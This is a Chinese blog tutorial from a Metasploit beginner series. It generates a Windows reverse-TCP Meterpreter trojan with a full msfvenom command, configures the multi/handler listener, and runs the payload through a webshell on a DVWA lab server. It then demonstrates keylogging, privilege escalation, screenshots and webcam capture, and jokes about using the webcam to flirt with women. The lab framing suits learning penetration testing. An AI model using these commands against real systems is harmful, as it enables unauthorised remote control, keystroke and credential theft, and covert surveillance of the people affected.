热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Metasploit入门系列(八)——Meterpreter(一)

上次有小伙伴私信我,想看关于Armitage在Windows平台下的使用,这里简单解释下,Armitage你可以把它看作一个壳,你的所有操作其实还是使用的msfconsole接口的

《Metasploit入门系列(八)——Meterpreter(一)》

上次有小伙伴私信我,想看关于Armitage在Windows平台下的使用,这里简单解释下,Armitage你可以把它看作一个壳,你的所有操作其实还是使用的msfconsole接口的命令行,我也安装过windows下的msf,但实在用的不是很习惯,想想还要自己配开源数据库postgresql,脑瓜疼,虽然我也提到Armitage确实提供了多平台版本,但为一个gui实在没必要太折腾。

《Metasploit入门系列(八)——Meterpreter(一)》

明明鸟儿已经为你配置好啦一切,尽量还是放到linux上来吧。

小鸟用的好,局子进的早,嘤。

本期我们来简单介绍Meterpreter的一条龙使用,在后面的章节了我们会展开介绍Meterpreter下的基本命令及骚操作。

首先我们要明确一点,Meterpreter生成的payload,咳咳,木马就木马嘛,叫的那么好听QAQ。。。需要在目标服务器上成功运行是我们后续工作的基础,这就牵扯到了免杀的问题;然后目标服务器可能存在于内网内,并不具备公网ip,这就牵扯到了反弹shell的问题;再然后作为攻击者的你如果身处内网,如果你不具备路由管理的权限,然而又需要一个公网IP,那就牵扯到了反向代理的问题……

然后是跟团队大佬求证过的一个场景问题。如果我们是通过webshell上传的payload,那就牵扯到了提权的问题;如果我们是通过类似永恒之蓝等服务器漏洞拿到的shell,对于win7以上版本,可以考虑借助power shell下载我们放置于公网的payload,而对于纯cmd命令行环境,我们需要,,emmm,,尝试提权远程吧,如果你不嫌动静大的话;咳咳,或者干脆物理hack了解一下~

《Metasploit入门系列(八)——Meterpreter(一)》

所以,我为什么要碰Meterpreter这个大坑!!!想想后边的内容都脑瓜疼= =。

今天呢,我们就来介绍下针对web应用的msf一条龙搞事情~

《Metasploit入门系列(八)——Meterpreter(一)》

眼熟一下~此次的上传点选择DVWA吧,所在服务器是一台Windows server 2008R2。

《Metasploit入门系列(八)——Meterpreter(一)》

成功上传webshell并上传,,,,,唉?我在干啥?我在哪?忘做木马啦~@。@

在很多相关教程中,大家可能看到如下命令:’msfpayload’(荷载生成器),’msfencoder’(编码器),’msfcli’(监听接口),这只能说,你看的教程可能过期了,如今的msf讲上述命令统一归置到了’msfvenom’ 中。

此次我们的服务器目标十分明确,所以我们选择了针对Windows系统基于TCP的反弹shell:windows/meterpreter/reverse_tcp

使用msfvenom 生成我们所需要的payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.222.77 lport=1988 -f exe -o rabbit.exe

《Metasploit入门系列(八)——Meterpreter(一)》

其次,我们需要在msf中配置对应的payload服务端,使用exploit/multi/handler模块:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp      ##此次为所使用payload模块

set lhost 172.16.222.77                            ##同payload设置内容

set lport 1988                                           ##同payload设置内容

《Metasploit入门系列(八)——Meterpreter(一)》

刚刚我们也提到了,这是反向shell,所以在运行后我们讲开启怼本地所设置端口的监听,等待木马上线。

回到我们webshell的二次上传工作:

《Metasploit入门系列(八)——Meterpreter(一)》

通过webshell运行木马。

《Metasploit入门系列(八)——Meterpreter(一)》

我们可以看到,客户端已经上线,已拿到目标服务器shell。

《Metasploit入门系列(八)——Meterpreter(一)》

我们之前就提到过,Meterpreter是一种特殊的shell code(payload),它究竟有多么强大呢?

#screenshot 屏幕截图

《Metasploit入门系列(八)——Meterpreter(一)》

#keyscan_start 键盘记录开启

#keyscan_stop 键盘记录关闭

《Metasploit入门系列(八)——Meterpreter(一)》

#keyscan_dump 用于查看键盘记录期间抓取到的内容

《Metasploit入门系列(八)——Meterpreter(一)》

#getsystem  获得系统管理员权限

《Metasploit入门系列(八)——Meterpreter(一)》

#sysinfo 计算机操作系统和名称等的详细信息

《Metasploit入门系列(八)——Meterpreter(一)》

#webcam_snap  #通过摄像头拍照,emmm,算了,偶尔爆次照吧。

《Metasploit入门系列(八)——Meterpreter(一)》

#webcam_stream  #通过摄像头开启视频,emmm,这个不掩饰啦,简直撩小姐姐必备。

当然啦,Meterpreter的功能远远不止这些。关于它的针对不同系统不同协议的不同模块,以及各种常用命令介绍,我们放在后续的章节。真心希望更多的小伙伴可以受益于此。


推荐阅读
  • 本文详细介绍如何使用arm-eabi-gdb调试Android平台上的C/C++程序。通过具体步骤和实用技巧,帮助开发者更高效地进行调试工作。 ... [详细]
  • 掌握远程执行Linux脚本和命令的技巧
    本文将详细介绍如何利用Python的Paramiko库实现远程执行Linux脚本和命令,帮助读者快速掌握这一实用技能。通过具体的示例和详尽的解释,让初学者也能轻松上手。 ... [详细]
  • Windows服务与数据库交互问题解析
    本文探讨了在Windows 10(64位)环境下开发的Windows服务,旨在定期向本地MS SQL Server (v.11)插入记录。尽管服务已成功安装并运行,但记录并未正确插入。我们将详细分析可能的原因及解决方案。 ... [详细]
  • 本文详细介绍了如何使用PHP检测AJAX请求,通过分析预定义服务器变量来判断请求是否来自XMLHttpRequest。此方法简单实用,适用于各种Web开发场景。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 如何配置Unturned服务器及其消息设置
    本文详细介绍了Unturned服务器的配置方法和消息设置技巧,帮助用户了解并优化服务器管理。同时,提供了关于云服务资源操作记录、远程登录设置以及文件传输的相关补充信息。 ... [详细]
  • DNN Community 和 Professional 版本的主要差异
    本文详细解析了 DotNetNuke (DNN) 的两种主要版本:Community 和 Professional。通过对比两者的功能和附加组件,帮助用户选择最适合其需求的版本。 ... [详细]
  • 网络攻防实战:从HTTP到HTTPS的演变
    本文通过一系列日记记录了从发现漏洞到逐步加强安全措施的过程,探讨了如何应对网络攻击并最终实现全面的安全防护。 ... [详细]
  • UNP 第9章:主机名与地址转换
    本章探讨了用于在主机名和数值地址之间进行转换的函数,如gethostbyname和gethostbyaddr。此外,还介绍了getservbyname和getservbyport函数,用于在服务器名和端口号之间进行转换。 ... [详细]
  • 360SRC安全应急响应:从漏洞提交到修复的全过程
    本文详细介绍了360SRC平台处理一起关键安全事件的过程,涵盖从漏洞提交、验证、排查到最终修复的各个环节。通过这一案例,展示了360在安全应急响应方面的专业能力和严谨态度。 ... [详细]
  • 本文探讨了在不使用服务器控件的情况下,如何通过多种方法获取并修改页面中的HTML元素值。除了常见的AJAX方式,还介绍了其他可行的技术方案。 ... [详细]
  • 使用Vultr云服务器和Namesilo域名搭建个人网站
    本文详细介绍了如何通过Vultr云服务器和Namesilo域名搭建一个功能齐全的个人网站,包括购买、配置服务器以及绑定域名的具体步骤。文章还提供了详细的命令行操作指南,帮助读者顺利完成建站过程。 ... [详细]
  • 网络运维工程师负责确保企业IT基础设施的稳定运行,保障业务连续性和数据安全。他们需要具备多种技能,包括搭建和维护网络环境、监控系统性能、处理突发事件等。本文将探讨网络运维工程师的职业前景及其平均薪酬水平。 ... [详细]
  • MySQL 数据库迁移指南:从本地到远程及磁盘间迁移
    本文详细介绍了如何在不同场景下进行 MySQL 数据库的迁移,包括从一个硬盘迁移到另一个硬盘、从一台计算机迁移到另一台计算机,以及解决迁移过程中可能遇到的问题。 ... [详细]
author-avatar
巴萨小Q
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有